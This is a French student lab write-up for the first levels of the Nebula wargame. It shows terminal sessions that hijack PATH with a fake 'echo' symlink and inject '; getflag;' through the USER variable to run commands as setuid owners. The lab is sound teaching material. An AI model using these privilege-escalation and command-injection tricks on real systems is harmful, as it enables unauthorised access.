

TP n°1 : Software Security

I- Let's go

Une fois la machine virtuelle configurée et ouverte. Nous pouvons nous connecter à cette dernière via connexion **ssh** comme nous pouvons le voir ci-dessous :

[illegible]

Chaque élément de cette commande à une fonction précise :

- **ssh** : correspond au programme client SSH que j'utilise pour me connecter à un serveur distant de manière sécurisée.
- **127.0.0.1** : correspond l'adresse IP du serveur auquel je me connecte. Dans mon cas, c'est l'adresse IP locale qui pointe vers la machine sur laquelle j'exécute la commande.
- **-p 2223** : correspond à l'option pour spécifier le port SSH. Dans mon cas, le port est défini à 2222 comme demandé dans l'énoncé.
- **-l level00** : correspond à l'option pour spécifier le nom d'utilisateur avec lequel je me connecte.

II- Level

1. Level 00

Objectif :

Trouvez un programme Set User ID qui s'exécutera sous le compte **flag00**.

Solution :

Pour réussir cet exercice, il faut trouver un fichier caché qui se trouve dans le dossier **bin**. Pour trouver ce fichier caché, il faut utiliser la commande **ls -a** qui nous permet de voir tous les fichiers dans un dossier. Lorsque l'on utilise cette commande on constate qu'il y a un dossier ..., en effet ce dossier est caché car il commence par . qui cache les fichiers. En suite quand on rentre dans ce dossier on trouve le programme ./flag00 qui une fois exécuté nous fait passer en tant que flag00.

[illegible]

2. Flag01

Objectif :

Identifiez la faiblesse dans le code suivant et exploitez-la.

Ce code est compilé dans un programme qui appartient à l'utilisateur **flag01**.

Solution :

La solution que j'ai trouvée exploite une faille en manipulant le chemin d'exécution **PATH** et en créant un lien symbolique vers la commande **getflag** sous le nom **echo** dans le répertoire **/tmp**. Ensuite, j'exécute le programme avec le chemin modifié, qui va donc en réalité exécuter **getflag**.

La faille de sécurité provient de la fonction système **system("/usr/bin/env echo and now what?")** ; La fonction système exécute une commande **shell** et c'est cette faille que nous avons utilisée.

```
krustybe@krustybe-NBLK-WAX9)
level01@nebula:/home/flag01$ ls
flag01
level01@nebula:/home/flag01$ ./flag01
and now what?
level01@nebula:/home/flag01$ PATH=/tmp:$PATH
level01@nebula:/home/flag01$ ln -s /bin/getflag /tmp/echo
level01@nebula:/home/flag01$ ./flag01
You have successfully executed getflag on a target account
level01@nebula:/home/flag01$
```

2. Flag002

Objectif :

Identifiez la faiblesse dans le code suivant et exploitez-la.

Ce code est compilé dans un programme qui appartient au drapeau **flag02**.

Solution :

La solution de cet exercice fonctionne en exploitant la vulnérabilité d'injection de commandes dans le programme en C. La vulnérabilité réside dans le fait que le programme utilise la valeur non vérifiée de la variable d'environnement **USER** pour construire une commande système via la fonction **asprintf()**. En modifiant alors la variable d'environnement **USER**, on peut donc accéder à **getflag**.

```
krustybe@krustybe-NBLK-WA
level02@nebula:/home/flag02$ ls
flag02
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo level02 is cool")
level02 is cool
level02@nebula:/home/flag02$ export USER='; getflag;'
level02@nebula:/home/flag02$ echo $USER
; getflag;
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ; getflag; is cool")

You have successfully executed getflag on a target account
sh: is: command not found
level02@nebula:/home/flag02$
```

